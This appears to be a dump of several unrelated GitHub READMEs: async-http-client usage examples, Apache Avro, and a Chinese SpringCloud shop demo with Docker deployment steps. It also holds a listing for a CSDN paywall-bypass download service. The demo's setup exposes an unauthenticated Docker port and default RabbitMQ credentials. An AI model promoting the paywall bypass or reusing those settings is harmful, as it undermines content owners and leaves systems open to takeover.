#### Using custom AsyncHandlers
`execute` methods can take an `org.asynchttpclient.AsyncHandler` to be notified on the different events, such as receiving the status, the headers and body chunks.
When you don't specify one, AHC will use a `org.asynchttpclient.AsyncCompletionHandler`;
`AsyncHandler` methods can let you abort processing early (return `AsyncHandler.State.ABORT`) and can let you return a computation result from `onCompleted` that will be used
as the Future's result.
See `AsyncCompletionHandler` implementation as an example.
The below sample just capture the response status and skips processing the response body chunks.
Note that returning `ABORT` closes the underlying connection.
```java
import static org.asynchttpclient.Dsl.*;
import org.asynchttpclient.*;
import io.netty.handler.codec.http.HttpHeaders;
Future<Integer> whenStatusCode = asyncHttpClient.prepareGet("http://www.example.com/")
.execute(new AsyncHandler<Integer> () {
private Integer status;
@Override
public State onStatusReceived(HttpResponseStatus responseStatus) throws Exception {
status = responseStatus.getStatusCode();
return State.ABORT;
}
@Override
public State onHeadersReceived(HttpHeaders headers) throws Exception {
return State.ABORT;
}
@Override
public State onBodyPartReceived(HttpResponseBodyPart bodyPart) throws Exception {
return State.ABORT;
}
@Override
public Integer onCompleted() throws Exception{
return status;
}
@Override
public void onThrowable(Throwable t) {
t.printStackTrace();
}
});
Integer statusCode = whenStatusCode.get();
```
#### Using Continuations
`ListenableFuture` has a `toCompletableFuture` method that returns a `CompletableFuture`.
Beware that canceling this `CompletableFuture` won't properly cancel the ongoing request.
There's a very good chance we'll return a `CompletionStage` instead in the next release.
```java
CompletableFuture<Response> whenResponse=asyncHttpClient
.prepareGet("http://www.example.com/")
.execute()
.toCompletableFuture()
.exceptionally(t->{ /* Something wrong happened... */ })
.thenApply(response->{ /* Do something with the Response */ return resp;});
whenResponse.join(); // wait for completion
```
You may get the complete maven project for this simple demo
from [org.asynchttpclient.example](https://github.com/AsyncHttpClient/async-http-client/tree/master/example/src/main/java/org/asynchttpclient/example)
## WebSocket
Async Http Client also supports WebSocket.
You need to pass a `WebSocketUpgradeHandler` where you would register a `WebSocketListener`.
```java
WebSocket websocket=c.prepareGet("ws://demos.kaazing.com/echo")
.execute(new WebSocketUpgradeHandler.Builder().addWebSocketListener(
new WebSocketListener(){
@Override
public void onOpen(WebSocket websocket){
websocket.sendTextFrame("...").sendTextFrame("...");
}
@Override
public void onClose(WebSocket websocket) {
// ...
}
@Override
public void onTextFrame(String payload,boolean finalFragment,int rsv){
System.out.println(payload);
}
@Override
public void onError(Throwable t){
t.printStackTrace();
}
}).build()).get();
```
## WebDAV
AsyncHttpClient has build in support for the WebDAV protocol.
The API can be used the same way normal HTTP request are made:
```java
Request mkcolRequest=new RequestBuilder("MKCOL").setUrl("http://host:port/folder1").build();
Response response=c.executeRequest(mkcolRequest).get();
```
or
```java
Request propFindRequest=new RequestBuilder("PROPFIND").setUrl("http://host:port").build();
Response response=c.executeRequest(propFindRequest,new AsyncHandler() {
// ...
}).get();
```
## More
You can find more information on Jean-François Arcand's blog. Jean-François is the original author of this library.
Code is sometimes not up-to-date but gives a pretty good idea of advanced features.
* http://web.archive.org/web/20111224171448/http://jfarcand.wordpress.com/2011/01/12/going-asynchronous-using-asynchttpclient-for-dummies/
* http://web.archive.org/web/20111224171241/http://jfarcand.wordpress.com/2010/12/21/going-asynchronous-using-asynchttpclient-the-basic/
* http://web.archive.org/web/20111224162752/http://jfarcand.wordpress.com/2011/01/04/going-asynchronous-using-asynchttpclient-the-complex/
* http://web.archive.org/web/20120218183108/http://jfarcand.wordpress.com/2011/12/21/writing-websocket-clients-using-asynchttpclient/
## User Group
Keep up to date on the library development by joining the Asynchronous HTTP Client discussion group
[GitHub Discussions](https://github.com/AsyncHttpClient/async-http-client/discussions)
## Contributing
Of course, Pull Requests are welcome.
Here are the few rules we'd like you to respect if you do so:
* Only edit the code related to the suggested change, so DON'T automatically format the classes you've edited.
* Use IntelliJ default formatting rules.
* Regarding licensing:
* You must be the original author of the code you suggest.
* You must give the copyright to "the AsyncHttpClient Project"
| 0 |
bigintpro/csdn_downloader | csdn下载，csdn免积分下载，csdn免会员下载，csdn付费内容下载 免费资源 体验地址:http://servicedev.tpddns.cn:8181/#/login?c=12 | csdn csdn-downloader | # csdn资源下载工具
#### 介绍
+ csdn免积分下载工具
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+ csdnvip资源下载工具
+ csdn文章下载，免积分，免购买超级会员
+
#### 软件架构
采用spingboot + dubbo 架构设计
#### 安装教程
1. 体验地址1(最快) http://servicedev.tpddns.cn:8181/#/login?c=12
2. 体验地址2(需要支持ipv6，最快) http://toolman.ddnsfree.com:8181/#/login?c=12
3. 体验地址3(慢) http://101.35.49.187:8181/#/login?c=12
5. 需要注册 并拥有qq,163等邮箱
#### 使用说明
1. 复制需要下载页面的url(也即是浏览器地址栏的地址)
2. 张贴到下载输入框的
3. 点击下载
#### 参与贡献
1. Fork 本仓库
2. 新建 Feat_xxx 分支
3. 提交代码
4. 新建 Pull Request
| 0 |
apache/avro | Apache Avro is a data serialization system. | avro bigdata c cplusplus csharp dotnet java perl php python ruby rust | Apache Avro™<img align="right" height="160" src="doc/assets/icons/logo.svg" alt="Avro Logo"/>
============
### Current CI status (Github servers)
[![test c][test c img]][test c]
[![test c#][test c# img]][test c#]
[![test c++][test c++ img]][test c++]
[![test java][test java img]][test java]
[![test javascript][test javascript img]][test javascript]
[![test perl][test perl img]][test perl]
[![test ruby][test ruby img]][test ruby]
[![test python][test python img]][test python]
[![test php][test php img]][test php]
[![rust continuous integration][rust continuous integration img]][rust continuous integration]
[![rust clippy check][rust clippy check img]][rust clippy check]
[![rust security audit][rust security audit img]][rust security audit]
### Current CI status (ARM based servers)
[![test c ARM][test c ARM img]][test c ARM]
[![test c# ARM][test c# ARM img]][test c# ARM]
[![test c++ ARM][test c++ ARM img]][test c++ ARM]
[![test java ARM][test java ARM img]][test java ARM]
[![test javascript ARM][test javascript ARM img]][test javascript ARM]
[![test perl ARM][test perl ARM img]][test perl ARM]
[![test ruby ARM][test ruby ARM img]][test ruby ARM]
[![test python ARM][test python ARM img]][test python ARM]
[![test php ARM][test php ARM img]][test php ARM]
[![rust continuous integration ARM][rust continuous integration ARM img]][rust continuous integration ARM]
### Current CodeQL status
[![codeql c#][codeql c# img]][codeql c#]
[![codeql java][codeql java img]][codeql java]
[![codeql javascript][codeql javascript img]][codeql javascript]
[![codeql python][codeql python img]][codeql python]
-----
Apache Avro™ is a data serialization system.
Learn more about Avro, please visit our website at:
https://avro.apache.org/
To contribute to Avro, please read:
https://cwiki.apache.org/confluence/display/AVRO/How+To+Contribute
<!-- Arranged this way for easy copy-pasting and editor string manipulation -->
[test c]: https://github.com/apache/avro/actions/workflows/test-lang-c.yml
[test c#]: https://github.com/apache/avro/actions/workflows/test-lang-csharp.yml
[test c++]: https://github.com/apache/avro/actions/workflows/test-lang-c++.yml
[test java]: https://github.com/apache/avro/actions/workflows/test-lang-java.yml
[test javascript]: https://github.com/apache/avro/actions/workflows/test-lang-js.yml
[test perl]: https://github.com/apache/avro/actions/workflows/test-lang-perl.yml
[test ruby]: https://github.com/apache/avro/actions/workflows/test-lang-ruby.yml
[test python]: https://github.com/apache/avro/actions/workflows/test-lang-py.yml
[test php]: https://github.com/apache/avro/actions/workflows/test-lang-php.yml
[test c ARM]: https://github.com/apache/avro/actions/workflows/test-lang-c-ARM.yml
[test c# ARM]: https://github.com/apache/avro/actions/workflows/test-lang-csharp-ARM.yml
[test c++ ARM]: https://github.com/apache/avro/actions/workflows/test-lang-c++-ARM.yml
[test java ARM]: https://github.com/apache/avro/actions/workflows/test-lang-java-ARM.yml
[test javascript ARM]: https://github.com/apache/avro/actions/workflows/test-lang-js-ARM.yml
[test perl ARM]: https://github.com/apache/avro/actions/workflows/test-lang-perl-ARM.yml
[test ruby ARM]: https://github.com/apache/avro/actions/workflows/test-lang-ruby-ARM.yml
[test python ARM]: https://github.com/apache/avro/actions/workflows/test-lang-py-ARM.yml
[test php ARM]: https://github.com/apache/avro/actions/workflows/test-lang-php-ARM.yml
[rust continuous integration]: https://github.com/apache/avro/actions/workflows/test-lang-rust-ci.yml
[rust continuous integration ARM]: https://github.com/apache/avro/actions/workflows/test-lang-rust-ci-ARM.yml
[rust clippy check]: https://github.com/apache/avro/actions/workflows/test-lang-rust-clippy.yml
[rust security audit]: https://github.com/apache/avro/actions/workflows/test-lang-rust-audit.yml
[codeql c#]: https://github.com/apache/avro/actions/workflows/codeql-csharp-analysis.yml
[codeql java]: https://github.com/apache/avro/actions/workflows/codeql-java-analysis.yml
[codeql javascript]: https://github.com/apache/avro/actions/workflows/codeql-js-analysis.yml
[codeql python]: https://github.com/apache/avro/actions/workflows/codeql-py-analysis.yml
[test c img]: https://github.com/apache/avro/actions/workflows/test-lang-c.yml/badge.svg
[test c# img]: https://github.com/apache/avro/actions/workflows/test-lang-csharp.yml/badge.svg
[test c++ img]: https://github.com/apache/avro/actions/workflows/test-lang-c++.yml/badge.svg
[test java img]: https://github.com/apache/avro/actions/workflows/test-lang-java.yml/badge.svg
[test javascript img]: https://github.com/apache/avro/actions/workflows/test-lang-js.yml/badge.svg
[test perl img]: https://github.com/apache/avro/actions/workflows/test-lang-perl.yml/badge.svg
[test ruby img]: https://github.com/apache/avro/actions/workflows/test-lang-ruby.yml/badge.svg
[test python img]: https://github.com/apache/avro/actions/workflows/test-lang-py.yml/badge.svg
[test php img]: https://github.com/apache/avro/actions/workflows/test-lang-php.yml/badge.svg
[test c ARM img]: https://github.com/apache/avro/actions/workflows/test-lang-c-ARM.yml/badge.svg
[test c# ARM img]: https://github.com/apache/avro/actions/workflows/test-lang-csharp-ARM.yml/badge.svg
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You can use devcontainers to develop Avro:
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* [](https://codespaces.new/apache/avro?quickstart=1&hide_repo_select=true)
### Trademark & logo's
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The Apache Avro airplane logo on this page has been designed by [Emma Kellam](https://github.com/emmak3l) for use by this project.
| 0 |
checkstyle/checkstyle | Checkstyle is a development tool to help programmers write Java code that adheres to a coding standard. By default it supports the Google Java Style Guide and Sun Code Conventions, but is highly configurable. It can be invoked with an ANT task and a command line program. | code-quality command-line-tool java static-analysis static-code-analysis | # 
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| 0 |
ZongXR/SuperMarket | 设计精良的网上商城系统，包括前端、后端、数据库、负载均衡、数据库缓存、分库分表、读写分离、全文检索、消息队列等，使用SpringCloud框架，基于Java开发。该项目可部署到服务器上，不断完善中…… | docker dockerfile elasticsearch html5 javacript jquery mybatis mycat mysql rabbitmq redis spring springboot springcloud springmvc | <html lang="zh">
<body>
<h1>网上商城</h1>
<h2>截图展示</h2>
<img src="./img/product.gif" alt="商品页面" /><br />
<img src="./img/regist.gif" alt="注册页面" /><br />
<img src="./img/login.gif" alt="登录页面" /><br />
<img src="./img/cart.gif" alt="购物车" /><br />
<img src="./img/order.gif" alt="订单" /><br />
<img src="./img/search.gif" alt="检索" /><br />
<img src="./img/manage_product.gif" alt="管理商品" /><br />
<img src="./img/add_product.gif" alt="新增商品" /><br />
<img src="./img/instantbuy.gif" alt="秒杀" /><br />
<h2>声明</h2>
<ul>
<li>未经许可不得将本项目商用，如需商用请联系作者<a href="mailto:zxr@tju.edu.cn">zxr@tju.edu.cn</a></li>
<li>欢迎各位看官向本项目提交代码，对提交的分支我将进行合并。提交时请务必保证能编译能运行</li>
</ul>
<h2>关键技术</h2>
<p>基于SpringCloud框架开发的商城系统，代码严格遵循MVC分层思想，可部署到服务器上，设计精良，不断完善</p>
<h2>包结构说明</h2>
<ul>
<li>com.supermarket.*.filter对应于微服务的过滤器</li>
<li>com.supermarket.*.listener对应于微服务的监听器</li>
<li>com.supermarket.*.controller对应于微服务的controller层</li>
<li>com.supermarket.*.aspect对应于微服务的切面类</li>
<li>com.supermarket.*.service对应于微服务的service层</li>
<li>com.supermarket.*.dao对应于微服务的持久层</li>
<li>com.supermarket.*.schedule对应于微服务的定时任务</li>
<li>com.supermarket.*.exception对应于微服务的自定义异常</li>
<li>com.supermarket.*.domain对应于微服务的JavaBean</li>
<li>com.supermarket.*.utils对应于微服务的工具类</li>
<li>com.supermarket.*.vo对应于微服务的ViewObject</li>
</ul>
<h2>系统架构</h2>
<img src="./img/架构图.png" alt="架构图" />
<h2>功能说明</h2>
<h3>用户微服务(com.supermarket.user)</h3>
<ul>
<li>用户登录</li>
<li>免验证码登录</li>
<li>用户注册</li>
<li>用户登出</li>
<li>用户名可用性校验</li>
<li>用户登录状态获取</li>
<li>查询用户权限等级</li>
</ul>
<h3>商品微服务(com.supermarket.product)</h3>
<ul>
<li>分页查询</li>
<li>单个商品查询</li>
<li>商品新增</li>
<li>商品修改</li>
<li>查询全部商品</li>
</ul>
<h3>公共资源微服务(com.supermarket.common)</h3>
<ul>
<li>公共资源微服务同时也是SpringCloud的Eureka模块</li>
<li>提供了常用的JavaBean, ViewObject, 工具类</li>
</ul>
<h3>zuul网关(com.supermarket.gateway)</h3>
<ul>
<li>SpringCloud的zuul网关模块</li>
<li>对敏感API调用进行后端鉴权</li>
</ul>
<h3>图片微服务(com.supermarket.image)</h3>
<ul>
<li>图片上传功能</li>
<li>生成验证码功能</li>
<li>清除验证码在redis中的缓存</li>
</ul>
<h3>购物车微服务(com.supermarket.cart)</h3>
<ul>
<li>购物车查询</li>
<li>购物车新增商品</li>
<li>购物车删除商品</li>
<li>购物车修改商品</li>
<li>购物车价格查询</li>
</ul>
<h3>订单微服务(com.supermarket.order)</h3>
<ul>
<li>新增订单</li>
<li>删除订单</li>
<li>查询订单</li>
</ul>
<h3>检索微服务(com.supermarket.search)</h3>
<ul>
<li>分页检索</li>
<li>新增商品</li>
<li>删除商品</li>
<li>建立索引</li>
</ul>
<h3>秒杀微服务(com.supermarket.instantbuy)</h3>
<ul>
<li>全部秒杀商品查询</li>
<li>单个秒杀商品查询</li>
<li>发起秒杀</li>
</ul>
<h2>新版本部署教程</h2>
<ol>
<li>环境准备<ol>
<li>开发环境准备:首先你需要有一台电脑、以及一个虚拟机(或服务器)。内存要大，不然跑不起来。假设你的虚拟机的ip地址是192.168.137.147在你的电脑中把hosts追加两行。<br />
<code>192.168.137.147 www.supermarket.com</code><br />
<code>192.168.137.147 image.supermarket.com</code><br />
然后添加环境变量<br />
<code>DOCKER_HOST=tcp://192.168.137.147:2375</code></li>
<li>部署环境准备:虚拟机装上centos7,再装上docker，然后依次拉取镜像<br />
<code>docker pull zongxr/redis:3.2.11</code><br />
<code>docker pull zongxr/mycat:1.15.1</code><br />
<code>docker pull zongxr/mysql:5.7.37</code><br />
<code>docker pull zongxr/elasticsearch:6.8.6</code><br />
<code>docker pull zongxr/supermarket-cart:1.0-SNAPSHOT</code><br />
<code>docker pull zongxr/supermarket-user:1.0-SNAPSHOT</code><br />
<code>docker pull zongxr/supermarket-gateway:1.0-SNAPSHOT</code><br />
<code>docker pull zongxr/supermarket-eureka:1.0-SNAPSHOT</code><br />
<code>docker pull zongxr/supermarket-image:1.0-SNAPSHOT</code><br />
<code>docker pull zongxr/supermarket-search:1.0-SNAPSHOT</code><br />
<code>docker pull zongxr/supermarket-instantbuy:1.0-SNAPSHOT</code><br />
<code>docker pull zongxr/supermarket-product:1.0-SNAPSHOT</code><br />
<code>docker pull zongxr/supermarket-order:1.0-SNAPSHOT</code><br />
然后把start_up目录拷贝到/home目录下</li>
</ol></li>
<li>部署数据库<ol>
<li>参照<a href="./start_up/mysql/start_mysql.sh" target="_blank">数据库启动脚本</a>逐行执行，或直接运行该脚本。</li>
<li>由于官方的mysql镜像没有默认开启主从配置，也没设定UTF-8字符集，因此使用本项目专有镜像zongxr/mysql:5.7.37，可自动开启bin-log，并设定UTF-8字符集</li>
<li>该脚本制作了双向主从高可用的数据分片，节点分别为dn1_host1, dn1_host2, dn2_host1, dn2_host2。并且通过mycat实现了读写分离以及分库分表，最后灌入数据。如果上一步执行成功了，你将能够通过以下的JDBC连接上数据库
<code>jdbc:mysql://192.168.137.147:3306/supermarket</code>连接dn1_host1<br />
<code>jdbc:mysql://192.168.137.147:3307/supermarket</code>连接dn1_host2<br />
<code>jdbc:mysql://192.168.137.147:3308/supermarket</code>连接dn2_host1<br />
<code>jdbc:mysql://192.168.137.147:3309/supermarket</code>连接dn2_host2<br />
<code>jdbc:mysql://192.168.137.147:8066/supermarket</code>连接mycat<br />
</li>
</ol></li>
<li>部署redis集群<ol>
<li>参照<a href="./start_up/redis/start_redis.sh" target="_blank">redis启动脚本</a>逐行执行，或者直接运行该脚本</li>
<li>该脚本搭建了一个6节点的redis集群，从redis-1到redis-6。由于3.2.11版本的redis官方镜像没有预置ruby环境，而创建集群需要使用ruby环境。因此使用该项目的专用redis镜像zongxr/redis:3.2.11，该镜像已经集成了ruby环境可直接使用。</li>
<li>如果上一步redis集群部署成功了，那么可以通过6379端口连接该集群</li>
</ol></li>
<li>部署elasticsearch集群<ol>
<li>参照<a href="./start_up/elasticsearch/start_es.sh" target="_blank">elasticsearch启动脚本</a>逐行执行，或直接运行该脚本</li>
<li>该脚本搭建了3节点的elasticsearch集群，分别是es-1, es-2, es-3。如果部署成功了，可以使用<a href="https://chrome.google.com/webstore/detail/elasticsearch-head/ffmkiejjmecolpfloofpjologoblkegm?hl=zh-CN" target="_blank">head插件</a>连接<a href="http://192.168.137.147:9200/" target="_blank">http://192.168.137.147:9200/</a>地址，集群状态应为green</li>
<li>官方默认的elasticsearch镜像不带JDBC连接功能，该项目通过技术手段集成了JDBC连接功能，可以像操作关系型数据库一样写SQL去操作elasticsearch。使用的driver是<code>org.elasticsearch.xpack.sql.jdbc.EsDriver</code><br />
<code>jdbc:es://192.168.137.147:9201</code>连接es-1<br />
<code>jdbc:es://192.168.137.147:9202</code>连接es-2<br />
<code>jdbc:es://192.168.137.147:9200</code>连接es-3<br />
</li>
</ol></li>
<li>部署微服务<ol>
<li>参照<a href="./start_up/app/start_app.sh" target="_blank">微服务启动脚本</a>逐行执行，或直接运行该脚本</li>
<li>每个微服务做了一个镜像，名为zongxr/supermarket-xxx:tag。如果所有微服务都启动成功了，那么将能够在<a href="http://192.168.137.147:10000/" target="_blank">注册中心</a>看到所有注册的微服务，并且在<a href="http://192.168.137.147:10002/swagger-ui/" target="_blank">http://192.168.137.147:APP_PORT/swagger-ui/</a>网址能够看到该微服务对应的接口文档</li>
<li>instant-buy微服务用到了消息队列rabbitmq。如果消息队列启动成功，将能够在<a href="http://192.168.137.147:15672" target="_blank">Web UI</a>管理界面看到传输的消息，用户名密码均为guest</li>
</ol></li>
<li>至此，所有服务都已经启动完成了。访问<a href="http://www.supermarket.com" target="_blank">www.supermarket.com</a>进行访问即可。</li>
</ol>
<h2>旧版本部署教程</h2>
<ul>
<li><a href="https://blog.csdn.net/sjdjjd6466446/article/details/110005937" target="_blank">0.4.x版本博客教程</a>(感谢<a href="https://github.com/BlackPeachLawn" target="_blank">BlackPeachLawn</a>)</li>
<li><a href="./部署教程/supermarket部署视频.txt" target="_blank">0.4.x版本视频教程</a>(感谢<a href="https://github.com/20427492" target="_blank">20427492</a>)</li>
<li><a href="./部署教程/ssm10月1号版本使用.txt" target="_blank">0.3.x版本文档教程</a>(感谢<a href="https://github.com/20427492" target="_blank">20427492</a>)</li>
</ul>
<h2>交流群</h2>
点击链接加入群聊【Supermarket项目交流群】：<a href="https://jq.qq.com/?_wv=1027&k=wlpUy5jo">https://jq.qq.com/?_wv=1027&k=wlpUy5jo</a><br />
<a href="https://jq.qq.com/?_wv=1027&k=wlpUy5jo"><img src="./img/交流群.png" alt="交流群二维码"/></a>
<h2>版本迭代</h2>
<table>
<tr>
<th>版本号</th>
<th>更新内容</th>
<th>上传时间</th>
</tr>
<tr>
<td>0.1</td>
<td>
<ul>
<li>初步完成项目方案确定</li>
<li>完成主页及注册页面的静态资源编写(包括js,css)</li>
<li>完成主页及注册页面的动态资源编写(包括jsp,servlet)</li>
<li>通过jdbc链接MySQL数据库</li>
<li>使用c3p0连接池</li>
</ul>
</td>
<td>2020年8月3日</td>
</tr>
<tr>
<td>0.1.1</td>
<td>
<ul>
<li>可以选择使用哪个连接池，并且在web.xml中指定，现在可以使用DBCP连接池</li>
<li>通过反射机制设置如果指定连接池调用失败，再调用哪个连接池</li>
<li>使用Ajax技术完成前端用户名校验</li>
<li>更改img标签的src属性，使浏览器异步发送GET请求，刷新验证码</li>
</ul>
</td>
<td>2020年8月7日</td>
</tr>
<tr>
<td>0.1.2</td>
<td>
<ul>
<li>使用JDBC.properties进行全局JDBC配置</li>
<li>去掉JDBC的反射调用</li>
<li>使用cookie完成记住用户名功能</li>
<li>新增登录功能：使用session完成会话级别的数据传递</li>
<li>新增注销功能：通过ajax请求销毁session</li>
<li>修改静态页面，使其实现对logo.png的单独依赖</li>
</ul>
</td>
<td>2020年8月9日</td>
</tr>
<tr>
<td>0.2</td>
<td>
<ul>
<li>使用EL表达式替换jsp页面中的脚本表达式</li>
<li>修改静态资源，主页增加右下角浮动项以及向上返回功能</li>
<li>新增错误页面提示</li>
<li>重构为JavaEE三层经典架构</li>
</ul>
</td>
<td>2020年8月20日</td>
</tr>
<tr>
<td>0.2.1</td>
<td>
<ul>
<li>使用过滤器完成全局请求参数拦截处理，包括全局中文乱码处理、全局password请求参数加密</li>
<li>通过过滤器实现全局连接池选定</li>
<li>通过过滤器实现自动登录功能</li>
<li>通过装饰者模式扩展request对象</li>
</ul>
</td>
<td>2020年8月22日</td>
</tr>
<tr>
<td>0.2.2</td>
<td>
<ul>
<li>使用log4j框架进行日志记录</li>
<li>修复重启服务器自动登录失效的bug</li>
<li>加入网页标题图标</li>
</ul>
</td>
<td>2020年8月24日</td>
</tr>
<tr>
<td>0.2.3</td>
<td>
<ul>
<li>将JDBC初始化功能交由监听器实现，并移除对应的过滤器</li>
<li>使用过滤器实现JDBC反注册，避免内存泄漏</li>
<li>使用注解替代web.xml完成servlet和监听器的注册</li>
<li>重写前端校验，对于支持html5的浏览器使用其自带校验</li>
</ul>
</td>
<td>2020年8月25日</td>
</tr>
<tr>
<td>0.3</td>
<td>
<ul>
<li>使用Spring、SpringMVC、MyBatis重构该web应用</li>
<li>使用User类的装饰者模式完成密码的md5加密功能</li>
<li>使用SpringMVC拦截器记录用户的访问请求</li>
<li>使用切面记录错误日志，并统计响应时间</li>
<li>升级log4j为log4j2</li>
<li>使用html5及jQuery相结合的方式进行前端表单校验</li>
</ul>
</td>
<td>2020年9月25日</td>
</tr>
<tr>
<td>0.3.1</td>
<td>
<ul>
<li>新增UserDao的SpringJDBC模板类实现</li>
<li>注册用户功能开启事务，修复多个用户同时注册时可能造成用户名重复的bug</li>
</ul>
</td>
<td>2020年9月29日</td>
</tr>
<tr>
<td>0.3.2</td>
<td>
<ul>
<li>新增备选的DBCP连接池配置</li>
</ul>
</td>
<td>2020年10月1日</td>
</tr>
<tr>
<td>0.4</td>
<td>
<ul>
<li>使用Maven重构依赖</li>
<li>使用SpringCloud重构项目</li>
<li>重构数据库</li>
<li>增加common微服务: 存放共享资源(如JavaBean, 工具类, ViewObject)</li>
<li>增加商品微服务：新增、修改、查询功能</li>
<li>增加用户微服务：用户名校验、注册</li>
<li>增加图片微服务：图片上传</li>
<li>增加nginx：负载均衡、动态静态资源分离</li>
</ul>
</td>
<td>2020年11月10日</td>
</tr>
<tr>
<td>0.4.1</td>
<td>
<ul>
<li>新增redis配置，通过redis解决微服务之间数据共享问题</li>
<li>完善用户微服务：实现登录、登出、登录状态获取，修复注册未校验密码一致性的Bug</li>
<li>改进redis数据结构：将key-value改进为hash，从而实现单点登录</li>
<li>使用AOP切面实现登录时长的自动延长</li>
</ul>
</td>
<td>2020年11月12日</td>
</tr>
<tr>
<td>0.4.2</td>
<td>
<ul>
<li>调整前端css，增加注册、登录的错误提示</li>
<li>新增注册成功页面</li>
<li>其他前端页面样式的调整</li>
</ul>
</td>
<td>2020年11月13日</td>
</tr>
<tr>
<td>0.4.3</td>
<td>
<ul>
<li>完善图片微服务：新增功能生成验证码、验证码缓存清理(避免前端连续请求验证码爆掉redis)</li>
<li>完善用户微服务：登录、注册需要验证码，登录或注册成功后清除验证码缓存(节省redis内存)</li>
<li>完善商品微服务：商品新增、查询、编辑触发被动缓存</li>
</ul>
</td>
<td>2020年11月14日</td>
</tr>
<tr>
<td>0.4.4</td>
<td>
<ul>
<li>新增购物车微服务：实现商品查询、商品新增、商品修改、商品删除功能</li>
<li>通过事务实现购买数量后端校验：防止购买量大于库存</li>
<li>在前端实现购买数量校验校验：防止购买量大于库存</li>
</ul>
</td>
<td>2020年11月15日</td>
</tr>
<tr>
<td>0.4.5</td>
<td>
<ul>
<li>完善图片微服务：解决redis中验证码缓存无法清理的BUG</li>
<li>完善用户微服务：新增记住用户名、自动登录功能</li>
</ul>
</td>
<td>2020年11月18日</td>
</tr>
<tr>
<td>0.4.6</td>
<td>
<ul>
<li>修复自动登录与单点登录功能冲突的bug。</li>
<li>替换网页logo，避免不必要的责任纠纷</li>
</ul>
</td>
<td>2020年11月19日</td>
</tr>
<tr>
<td>0.4.7</td>
<td>
<ul>
<li>新增订单微服务：实现订单新增、订单查询、订单删除功能</li>
<li>完善购物车微服务：新增总价格查询功能</li>
<li>数据库迁移至服务器，并通过MyCat管理分库分表</li>
<li>每个数据分片通过双向主从实现MySQL高可用，并开启读写分离</li>
</ul>
</td>
<td>2020年11月24日</td>
</tr>
<tr>
<td>0.4.8</td>
<td>
<ul>
<li>新增检索微服务：分页检索、增加文档、删除文档、修改文档</li>
<li>完善商品微服务：查询全部商品</li>
<li>完善前端：进入后台权限校验</li>
</ul>
</td>
<td>2020年11月30日</td>
</tr>
<tr>
<td>0.4.9</td>
<td>
<ul>
<li>新增秒杀微服务：全部秒杀商品查询、单个秒杀商品查询、发起秒杀(尚未联调)</li>
<li>修改部分前端页面</li>
</ul>
</td>
<td>2020年12月6日</td>
</tr>
<tr>
<td>0.5</td>
<td>
<ul>
<li>完善秒杀微服务：修复若干bug</li>
<li>完善zuul网关：对敏感API调用进行后端鉴权</li>
<li>完善用户微服务：新增权限查询功能</li>
</ul>
</td>
<td>2020年12月9日</td>
</tr>
<tr>
<td>0.5.1</td>
<td>
<ul>
<li>完善秒杀微服务：修复发起秒杀功能中的线程安全问题</li>
<li>新增全系统架构图</li>
</ul>
</td>
<td>2020年12月10日</td>
</tr>
<tr>
<td>0.5.2</td>
<td>
<ul>
<li>完善秒杀微服务：修复发起秒杀功能中的线程安全问题</li>
<li>完善zuul网关：过滤器实现更细粒度鉴权</li>
<li>完善检索微服务：修复新增和编辑商品时无法同步到elasticsearch的Bug</li>
</ul>
</td>
<td>2020年12月11日</td>
</tr>
<tr>
<td>0.5.3</td>
<td>
<ul>
<li>微服务添加熔断器，避免单个故障导致集群崩溃</li>
<li>使用Feign替代Ribbon进行微服务间调用</li>
<li>完善检索微服务：修复微服务启动时创建索引失败的bug</li>
<li>新增log4j2日志框架支持</li>
</ul>
</td>
<td>2020年12月12日</td>
</tr>
<tr>
<td>1.0.0</td>
<td>
<ul>
<li>所有服务及组件迁移至docker，使用容器进行部署</li>
<li>修复若干BUG</li>
</ul>
</td>
<td>2022年3月26日</td>
</tr>
<tr>
<td>1.0.1.0</td>
<td>
<ul>
<li>完善商品微服务接口文档</li>
<li>修复若干BUG</li>
</ul>
</td>
<td>2022年4月1日</td>
</tr>
<tr>
<td>1.0.2.0</td>
<td>
<ul>
<li>完善检索微服务接口</li>
<li>修正检索微服务和商品微服务调用异常的BUG</li>
</ul>
</td>
<td>2022年4月1日</td>
</tr>
<tr>
<td>1.0.3.0</td>
<td>
<ul>
<li>完善抢购微服务接口</li>
<li>修复若干BUG</li>
</ul>
</td>
<td>2022年4月4日</td>
</tr>
<tr>
<td>1.0.4.0</td>
<td>
<ul>
<li>完善图片微服务</li>
<li>修复若干BUG</li>
</ul>
</td>
<td>2022年4月5日</td>
</tr>
</table>
<h2>配置情况</h2>
<ul>
<li>JDK版本：<a href="http://openjdk.java.net/projects/jdk/11/" target="_blank">OpenJDK11</a></li>
<li><a href="http://nginx.org/en/download.html" target="_blank">nginx：1.19.1</a></li>
<li><a href="https://maven.apache.org/download.cgi" target="_blank">maven: 3.6.3</a></li>
<li><a href="https://downloads.mysql.com/archives/community/" target="_blank">MySql: 5.7.37</a></li>
<li><a href="http://download.redis.io/releases/" target="_blank">Redis: 3.2.11</a></li>
<li><a href="https://github.com/MyCATApache/Mycat-download/tree/master/1.5-RELEASE" target="_blank">MyCat: 1.5.1</a></li>
<li><a href="https://www.elastic.co/cn/downloads/past-releases/elasticsearch-6-8-6" target="_blank">ElasticSearch: 6.8.6</a></li>
<li><a href="https://github.com/medcl/elasticsearch-analysis-ik/releases/tag/v6.8.6" target="_blank">IK分词器: 6.8.6</a></li>
<li><a href="https://github.com/rabbitmq/rabbitmq-server/releases/tag/v3.7.7" target="_blank">RabbitMQ: 3.7.7</a></li>
<li>开发环境：<a href="https://www.jetbrains.com/idea/download/other.html" target="_blank">IntelliJ Idea 2020.1.4</a></li>
<li>框架：<a href="https://github.com/spring-projects/spring-boot/releases/tag/v2.2.5.RELEASE" target="_blank">Springboot 2.2.5.RELEASE</a>, <a href="https://spring.io/blog/2020/03/05/spring-cloud-hoxton-service-release-3-sr3-is-available" target="_blank">SpringCloud Hoxton.SR3</a></li>
<li>
hosts配置: <br />
192.168.137.147 www.supermarket.com <br />
192.168.137.147 image.supermarket.com
</li>
</ul>
<h2>遇到的bug锦集(作为记录，博君一笑)</h2>
<ul>
<li>HttpServletRequest的装饰者类HttpServletRequestDecorator中的getParameterMap重写方法中，不能在原地进行参数字符集修改，否则如果调用两次及以上该方法时会编码多次，造成乱码</li>
<li>对请求参数的拦截处理，如果用到装饰者模式，最好在一处完成。如果在多处完成会造成请求参数的重复处理，从而导致乱码或者拿到非预期的参数值</li>
<li>用户的登录信息最好保存到session域中，在0.2.1中的自动登录成功后误把user对象塞入到了request域，造成了重启服务器自动登录失效的bug。</li>
